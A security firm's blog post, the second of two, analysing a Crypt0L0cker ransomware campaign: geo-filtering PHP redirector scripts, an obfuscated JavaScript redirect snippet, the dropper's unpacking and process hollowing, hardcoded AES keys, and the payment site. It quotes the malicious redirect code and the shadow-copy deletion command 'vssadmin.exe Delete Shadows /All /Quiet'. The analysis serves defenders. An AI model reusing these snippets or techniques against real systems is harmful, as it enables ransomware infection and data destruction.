Uncovering a ransomware distribution operation – Part 2

Uncovering a ransomware-distribution campaign part 2

In Part 1 we’ve analyzed a vast Crypt0L0cker ransomware distribution operation currently affecting continental Europe and ready to jump to new countries. In this second post we’ll analyze in detail the server side code used to dispatch the victims towards the correct websites, up to the ransomware itself. We’ll also analyze the ransomware behaviour and how it infects the victim’s computer.

Scripts Analysis

The php files retrieved from the phishing server are not obfuscated and their structure is really simple: the php code first and the HTML at end of file. The many scripts retrieved were all the same using one of the two variations shown below.



3 functions are defined in the script:

  • gen_rnd_str($min, $max): to generate a random alphanumerical string of length between $min and $max values;
  • get_ip(): to get the user’s IP;
  • get_country($ip): to geolocate the IP.

By taking a look at the $white_countries variable that is assigned to the country IT, It’s clear that this script is related to the campaign targeting Italy.

The first check is used to verify the presence of the action parameter passed by via URL: if it equals to unsubscribe the word “unsubscribed” is echoed. A more interesting check is the one about the id URL parameter: if it exists and it’s not empty then it will encode the passed ID to  Base64.
The last check that the script executes is intended to be an auto-update feature to update the domain with a new one.

The most important check is the last one, in order to define $full_url variable. This variable can be a URL like this:


or this one:


It’s clear that the script filters out every user not coming from the assigned country, Italy in this case. So if the IP is recognized as coming from Italy the $full_url value will be the first link shown above, otherwise the second.

The HTML code at end is responsible for the redirection process:

<DOCTYPE html PUBLIC "-//W3C//DTDXHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<meta http-equiv="refresh" content="0; url=<?php echo $full_url; ?>"/>
<title><?php echo gen_rnd_str(4, 8); ?></title>
<script language="JavaScript" type="text/javascript">
var _0x9129=["<?php echo $full_url; ?>","\x72\x65\x70\x6C\x61\x63\x65","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];


where the last Javascript statement translates to:

window.replace.location(<?php echo $full_url; ?>)

When the user lands on the URL, the SDA phishing site seen in Part 1 is shown. A list of two requests captured by the proxy after the captcha insertion is shown below:





This script is different from the previous one. The differences are:

  • The captcha control code is run on the compromised domain;
  • The HTML code appended at end is responsible for the rendering of the phishing site, so no redirection is performed;
  • The IP geolocation is delegated to the next server in the chain;
  • We have 3 more functions defined in the script.

The 3 new functions are:

  • ls_send_host($id, $ip, $ua): used to send user data, such as the base64 encoded email ($id), IP address ($ip) and User Agent ($ua) and to get 3 parameters as return value;
  • ls_send_load($id): to send the base64 encoded email;
  • do_redirect($dest_url): to redirect the user to the ransomware download link or to Google’s homepage.

After the id URL parameter is assigned to $id variable, the following checks begin:

  • check if $id contains a valid email address;
  • check if the IP is valid (of course it’s always true, strange check);
  • check if $id is empty, if so the IP address is assigned to $id;

Going forward, the User Agent is saved to the $ua parameter, then ls_send_host function is called. ls_send_host invokes ls_send_data function which returns a string like this:


then, through an array named $result, these 3 parameters are assigned as follow:

allowed = boolean
mobile = boolean
file_link = URL

Eventually this array is returned by ls_send_host function.

If one of these checks fail then the user is redirected to Google.
To reach the URL, in order to download the ransomware, we have to get:

  • a valid $host_res;
  • allowed field equal to true;
  • captcha_code equal to $captcha_code constant variable (here it equals to 764674).

Furthermore, if the mobile field is equal to true then a redirect to mobile.html page is performed to inform the user that he has to visit the website from a PC.

The other scripts belonging to other campaigns are the same except for the contacted domains. These are all the addresses we managed recover:


where $uri can be:




based on the function called.

This is a real request intercepted with the proxy:



As we can see from the GET requests, the cloud service chosen as storage by the ransomware’s author is Cubby.

Crypt0l0cker Ransomware in-depth analysis

This crypt0l0cker analysis refers to one of the samples gathered during the campaign tracking.

File information

MD5: B7C7C78ACD1A602BCBA2144C331E8C89
SHA1: 23d759ef435c47fd17062e09e3027569f0574a43
SHA256: 0393c26018ec46a28071387a2f5122f9b9fda46c0b505772ad21c6a586a6ad91
Size: 565.248 bytes

Crypt0l0cker ransomware attachment with a fake PDF icon

To deceive the user the executable uses a PDF icon as seen on the screenshot above.

On VirusTotal, the detection rate for this sample is very low, just 4/55!


Other samples gathered have the same detection rate except for the next one that is detected only by 2 Antivirus:


Considering that the same behaviour was observed among all the samples gathered, we have chosen to carry on the analysis only with the above one.

Packed Dropper

Original file name seems to be Practises.exe with a fake compilation data Tuesday, Apr 23 2013. Taking a look at the PE geometry, such as sections’ information and imported libraries, we guess that the dropper is heavily packed/compressed:



Particularly the .data section has a Virtual Size >> Raw Size and only 2 non-standard libraries are imported.

By disassembling the file we can observe many weird strings like PremiumMafia or MotivateItaly. Due to anti-disasm trying to trick the disassembler, static analysis is not practical. An example can be found next to the entry point, and like this also in many other different places in the code:


Through dynamic analysis we have observed the following behaviour:

  • Decode a data block to obtain a shellcode;
  • Jump inside the shellcode extracted, perform 2 layers decryption steps to get the functions used to decode the DLL and API names and to call them (~25kb final shellcode size);

First step


Second step


  • At this point the code allocates memory in which it copies itself (the whole dropper) and performs the last decryption routine which ends with a call to RtlDecompressBuffer API (LZMA~310kb unpacked dropper size);


  • CreateProcess -> Process Injection -> ResumeThread is the way chosen to execute the unpacked dropper.


Unpacked dropper

The unpacked dropper has a size of 312.832 bytes and it imports more libraries then the packed counterpart, of course.


Searching for known crypto signatures, this is the result:


In addition to the standard CryptoGenRandom, CryptoEncrypt and CryptoDecrypt APIs, we can see also the CRC and aPLib signatures. The first one is used to obtain a checksum of a chunk of data, before and after it’s performed an aPLib decompression step. As a result of these 2 steps, we obtain a dll (the payload) which it’s then injected in explorer.exe to start the encryption process and C&C communications.

The starting point for the unpacked dropper is at address 0x404A00.Despite the direct calls of imported APIs, there is also a function responsible for calling a specific API based on the parameters passed (0x401E40). Below an example of its usage to call PathCombineW API:


Here ESI is an array that indexes the API parameters; in this case for the PathCombineW call we have:

esi[0] = pszPathOut
esi[1] = pszPathIn
esi[2] = pszMore

The algorithm should be clearer from the next screen:


If we jump inside m_loadLibraryAndCall we find the above situation. m_loadLibrary calls LoadLibrary to get the base address of the dll specified by id number (first m_loadLibraryAndCall‘s parameter) and through the API id (second m_loadLibraryAndCall‘s parameter) the API address is taken. This address is then called by the m_callResolvedAPI function. m_callResolvedAPI uses a big switch and the branch taken is based on the API parameters number (third m_loadLibraryAndCall‘s parameter)


arg_0 is the fourth m_loadLibraryAndCall‘s parameter.

Below, a list of dll and API id numbers with the respective names resolved for this sample (extracted from the unpacked dropper and dll payload):


0B1406C0Bh   ; CreateDirectoryW
1368AB8h       ; CreateEventW
93795656h     ; CreateFileW
13D5CB29h    ; CreateMutexW
3FD4F368h    ; FindFirstFileExW
23FD3269h    ; GetFileAttributesW
6B1966E9h    ; GetModuleFileNameW
604265FDh    ; HttpOpenRequestW
0D961EB24h  ; HttpQueryInfoW
96C1D5h        ; HttpSendRequestW
85BB3536h    ; InternetCloseHandle
0B3990D75h  ; InternetConnectW
0E9874642h  ; InternetCrackUrlW
1F752A7Dh   ; InternetOpenW
0AC7957C5h  ; InternetQueryDataAvailable
0B13645BAh  ; InternetQueryOptionW
6A953AB0h   ; InternetReadFile
3F35490h     ; InternetSetOptionW
614E1216h  ; MoveFileExW
98147FF8h  ; NtQueryInformationFile
0A29A5AF8h ; NtReadFile
0CAEDE967h ; NtWriteFile
571394E7h   ; OpenMutexW
3383166Ch   ; PathCombineW
184AC374h   ; ResumeThread
9550F83h    ; SetEndOfFile
6C33C1D9h   ; SetEvent
4D06CBF5h   ; SetFileAttributesW
0B2FF39C4h   ; Sleep
6B54907Dh    ; WaitForMultipleObjects
30471800h    ; WaitForSingleObject
0C59652CEh  ; ZwSetInformationFile


2    ; Shlwapi.dll
3    ; kernel32.dll
7    ; Wininet.dll

In short here we conclude that the unpacked dropper does:

  • Crypto prologue;
  • Check for the presence of file called 00000000 in C:\ProgramData\ path;
  • Check if UAC is enabled

The following graph illustrates the concept:



The code executed by the thread is:


  • Creates a mutex (iryrycenyraxeqokafalijy);
  • Makes an encrypted copy of itself. The encryption algorithm used is AES-256 in CBC mode with the following hardcoded key:

DD 81 7C 11 B8 E7 05 50 6B 21 30 94 06 9A 5E 54 47 E9 B4 86 37 0B 3F 7A 38 4A 1A FE B1 2E C3 1B

  • Decrypts a datablock to get an aPLib compressed PE and decompresses it to get a DLL (the payload). Performs process hollowing on explorer.exe and executes the payload extracted. Also for this task AES-256 in CBC mode is used to decrypt the datablock with the following hardcoded key:

96 52 A3 C0 E6 21 49 5D 0D 0B FF 99 10 24 82 27 13 81 50 7B 5A D7 2A 57 01 3E A0 B2 8F 10 54 FA

AES aPLib decryption

aPLib DLL decompression
aPLib DLL decompression



The payload obtained is a 32-bit DLL with a TimeDataStamp set to Wed Apr 06 2016 and a familiar original file name: rack-core.bin. This is indeed the name used also by TorrentLocker.

The DLL exports 2 functions as we can see in the next screen:


  • [email protected] is the exported symbol executed by the hollowed explorer.exe;
  • [email protected] is the exported symbol executed by the unpacked dropper, after that the process hollowing is completed.

No substantial differences from TorrentLocker could be found from payload’s analysis. A minor difference found is that no registry keys are created.

The encryption algorithm used is AES-256 in CBC mode. The key is generated with a call to CryptGenRandom API. In a loop, the GetTickCount result is added to the random number obtained to get the final value for the key. After the encryption process, the key it’s destroyed so as to make it unrecoverable from memory. Shadow Copies are removed in the usual way by calling: vssadmin.exe Delete Shadows /All /Quiet.

Also there is evidence of the trojan stealing SMTP information like what happened with TorrentLocker ransomware but we couldn’t conclude how this information is being used: to steal the victim’s emails, to build a spread vector for the spam or to be used in other contexts.

We have covered the C2 already in Part 1 and we can add the presence of the following hardcoded IPs addresses:

A message intercepted before the encryption, can be seen below:


As usual AES-256 in CBC mode is used to encrypt the message with the following hardcoded key:

A9 7F 80 D0 A2 2F 6B A0 0F C4 71 5A A3 60 DF AC 6F D6 DA E7 B2 EB 58 B0 22 E8 F1 9F EC A5 01 23

We didn’t dig further into the C2 communications, this post will be updated if we find something interesting.

Targeted files

The ransomware targets every file extensions excepts 34 specific extensions defined in a blacklist. In this variant, indeed, 10 new extensions have been added:

.com .cpl .evtx .folder .kdmp .log2 .theme .ttf .vdx .vxd

compared to the previous ones:

.avi .bat .bmp .chm .cmd .dll .exe .gif .html .ico .inf .ini .lnk .log .manifest .mp3 .msi .png .scr .sys .tmp .txt .url .wav






File system

C:\Windows\[8-random-chars].exe                      Dropper copy for autorun persistence

C:\ProgramData\yhopyfapisogovaz\01000000    Dropper
C:\ProgramData\yhopyfapisogovaz\02000000    Path to the dropper on disk
C:\ProgramData\yhopyfapisogovaz\03000000    Name of the file with refund information
C:\ProgramData\yhopyfapisogovaz\04000000    HTML refund information file
C:\ProgramData\yhopyfapisogovaz\05000000    txt refund information file

In addition to these files, we observed 3 other files. From preliminary analysis it appears that these files are used to store information about the infection process performed:

C:\Users\PC\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat

Even the files in yhopyfapisogovaz folder are encrypted with AES-256 CBC mode with the first key identified.

Payment sites

As usual, after the encryption process ends (the .encrypted extension is added to every file), the ransomware request is written to the disk, in every folder both in a txt and in a html file:



In addition to the .onion domain observed in the ransom’s request, we have discovered 2 additional hardcoded .onion domains:


This is the payment website:



To persuade the victim to make the payment, the website allows to decrypt one file for free in order to prove that the decryption process works successfully:


Also, if we need assistance, a Support page (yes… A support page) is provided:


Crypt0l0cker Decryption Software

When the victim pays the ransom, a decryption tool is sent with the hardcoded victim’s AES key, this is the same key sent to the C2 during infection process. Here’s screenshot:



None of the variants used by these campaigns pose any threat to our corporate customers, no updates are required. The infection and encryption stages are both detected by ReaQta-core and the ransomware correctly blocked.

ReaQta-Core protecting from CryptoLocker
ReaQta-Core protecting from Crypt0l0cker

Private users should adopt the usual common sense measures: don’t open every attachment you receive and check that the URL is correct, when in doubt, google the company’s name and the URLs are different, don’t proceed further. Also try to never run an application you haven’t explicitly downloaded on purpose (how to know it? Right click on the suspicious file, properties and if the type of file is “Application (.exe)” it’s an executable file).


With these 2 blog posts we have shown how a Crypt0l0cker campaign spreads and how operators work to setup the distribution chain: from the site’s breach to the ransomware’s download stage. Also an in-depth look at the samples downloaded from the phishing didn’t highlight major differences from TorrentLocker.

Join our newsletter to get the world’s latest security events and our technical analyses delivered directly to your inbox!